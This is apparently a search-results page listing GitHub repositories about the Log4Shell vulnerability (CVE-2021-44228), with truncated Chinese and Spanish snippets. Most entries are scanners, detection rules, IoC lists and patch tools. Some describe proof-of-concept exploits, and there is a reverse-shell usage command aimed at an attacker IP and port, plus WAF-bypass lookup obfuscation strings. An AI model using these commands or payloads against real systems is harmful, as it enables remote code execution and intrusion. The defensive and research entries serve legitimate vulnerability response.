905 matches found
Log4j-Windows-Scanner
Log4j-Windows-Scanner CVE-2021-44228 Apache Log4j 库漏洞 | Windows 机器上的 Log4j 漏洞扫描器。 工作原理 它通过遍历 C 盘目录下的文件夹，检测存在漏洞的 log4j 版本。 当发现存在漏洞的文件时，它会输出 ".TXT" 文件。无法扫描文件 "log.txt"。 换句话说，它会列出因权限不足而无法读取内容的目录。 请留意这些文件夹。确保以管理员权限运行。 下一步，它会在存在漏洞的版本中搜索 "JndiLookup.class" 文件。 使用方法 root@kitploit: on any command screen...
CVE-2021-44228-poc
CVE-2021-44228-poc CVE-2021-44228 POC / 示例...
CVE-2021-44228
CVE-2021-44228 Log4Shell 漏洞 CVE-2021-44228 的概念验证...
log4j-shell-csw
Log4j 简易漏洞利用工具 针对 CVE-2021-44228 漏洞的概念验证型漏洞利用工具。 Log4j 用于记录安全和性能信息，影响范围覆盖超过 30 亿使用 Java 的设备，涉及各类消费级和企业级服务、网站和应用程序，以及医疗设备和配套系统。 注意：这不是“一键点击”型漏洞利用工具。初始触发载荷将被生成，但将其注入到合适位置（如 HTTP 头/聊天框/等）将由用户自行完成。 先决条件 python3 pip install -r requirements.txt 安装 jdk1.8.020 并将 bin 文件夹添加到环境变量 root@kitploit: usage: pyth...
Log4j-PoC
Prueba de concepto para Log4j CVE-2021-44228 Aviso legal Este proyecto es solo con fines educativos. Introducción Esta es una prueba de concepto del RCE de Log4j adaptada de HyCraftHD. Aquí hay algunos enlaces para el CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l Attacker...
log4py
log4py Python风格的纯Python RCE漏洞利用，针对CVE-2021-44228 log4shell 1. 运行一个易受攻击的服务，例如 https://github.com/zzzz0317/log4j2-vulnerable-spring-app 2. 修改exploit.py中的设置 3. pwn 仅供教育使用（主要是为了我自己乐呵） 经过一些修改后可能才会有效 如果你搞非法活动——去你的 TODO: 通过javac添加编译能力，以获得更大的版本灵活性 为其他服务添加更多攻击类 添加更多一切！ 实际测试（笑） 脱离概念验证阶段...
MyLog4Shell
MyLog4Shell Detección de explotación de RCE log4j Puedes usar estos comandos y reglas para buscar intentos de explotación contra la vulnerabilidad RCE de log4j CVE-2021-44228 Grep / Zgrep Este comando busca intentos de explotación en archivos sin comprimir en la carpeta /var/log - '/usr/var/log' ...
how-to-check-patch-secure-log4j-CVE-2021-44228
Cómo comprobar log4j CVE-2021-44228 ¿Qué es log4j ? LOG4J es un software Apache de código abierto basado en Java utilizado para servicios de registro. ¿Qué es la vulnerabilidad log4j CVE-2021-44228 ? La vulnerabilidad Log4j permite la ejecución remota de código con solo escribir una cadena...
log4j-CVE-2021-44228-Public-IoCs
Lista pública de IoCs de log4j log4shell CVE-2021-44228 IoCs públicos sobre log4j CVE-2021-44228 log4shell basados en Twitter y otras redes sociales se aceptan pull requests, elimino duplicados automáticamente IPs https://github.com/Sh0ckFR/log4j-CVE-2021-44228-Public-IoCs/raw/main/ips.txt Domini...
CVE-2021-44228-Apache-Log4j-Rce
Uso: 1. ejecutando RMIServer 2. ejecutando Main...
CVE-2021-44228-Log4j
Pon a prueba este contenido antes de aplicarlo a sistemas de producción. Uso Descarga el último paquete desde las versiones aquí: https://github.com/VerveIndustrialProtection/CVE-2021-44228-Log4j/releases y luego importa los Fixlets, los análisis y el grupo de equipos en un sitio y aplica las...
CVE-2021-44228-PoC-log4j-bypass-words
🤝 展示您的支持 - 如果喜欢内容请给个 ⭐️ | 在 Twitter 上分享 | 关注我 🐱💻 ✂️ 🤬 LOG4J Java 漏洞利用 - WAF 和补丁绕过技巧 📝 描述 CVE-2021-44228 作用于： log4j：2.0 大写查找 大写查找将传入的参数转换为大写。假定该值将是嵌套查找的结果。 $upper: 3. "::-" 表示法 $$::-j$::-n$::-d$::-i:$::-l...
log4j-vuln-demo
log4j-vuln-demo 用于 Sysdig CNAPP 扫描与修复测试的故意含漏洞演示镜像。 包含 Log4j 2.14.1 — 易受 CVE-2021-44228 Log4Shell, CVSS 10.0 严重 攻击。 用途 该仓库用于演示 Sysdig 的端到端 CNAPP 工作流： 1. /sysdig-investigate — 发现含漏洞镜像并对其进行修复优先级排序 2. /sysdig-remediate — 解析安全修复版本 2.15.0+ 并打开一个 PR 修复 在 pom.xml 中将 log4j-core 和 log4j-api 升级至 2.17.1 或更高版...
Log4j-Updater
Log4j Updater Con la inevitable necesidad de actualizar el famoso framework de Java llamado Log4j, numerosas empresas necesitan actualizar Log4j en varios equipos al mismo tiempo, lo que requiere tiempo y costo, y ahí es donde entra el Log4j Updater. log4jupdater.sh es un sencillo script bash cuy...
log4j-log4shell-affected
log4j-log4shell-受影响组件列表 针对 CVE-2021-44228（又称 Log4shell 或 Log4j RCE）的受影响组件与受影响应用/厂商清单，供安全响应人员使用。 我们认为有必要将厂商和产品分为两类： 1. 内部风险 ——需要优先修补以消除内部风险的部分 2. 外部风险 ——所有可能已被入侵的、保管您数据的第三方/第四方厂商；在完成内部修补后，需要监控并处理的那些 以下是清单： 外部风险 - 受影响的应用 即：如果您的数据存储在其环境中，或者它们可访问您的环境，那么您应当关注的所有厂商。 内部风险 - 受影响的组件...
tf-log4j-aws-poc
Readme Descripción del proyecto Estos archivos del proyecto demuestran una prueba de concepto de la vulnerabilidad log4j CVE-2021-44228 en AWS utilizando Terraform como infraestructura como código. Hay 2 demostraciones en este proyecto: 1. single-instance contiene un servidor vulnerable; puedes...
log4j-poc
log4j-poc 针对CVE-2021-44228 Log4Shell的LDAP RCE漏洞利用 描述 演示用的Tomcat 8服务器（端口8080）上部署了存在漏洞的应用程序（log4shell），并且该服务器也通过用户代理攻击方式存在漏洞。 本演示中的远程利用应用程序基于 https://github.com/kozmer/log4j-shell-poc 上的代码。 本演示用的Tomcat服务器（Tomcat 8.5.3，Java 1.8.0u51）已被重新配置为使用Log4J2进行日志记录——这是一种非标准配置。...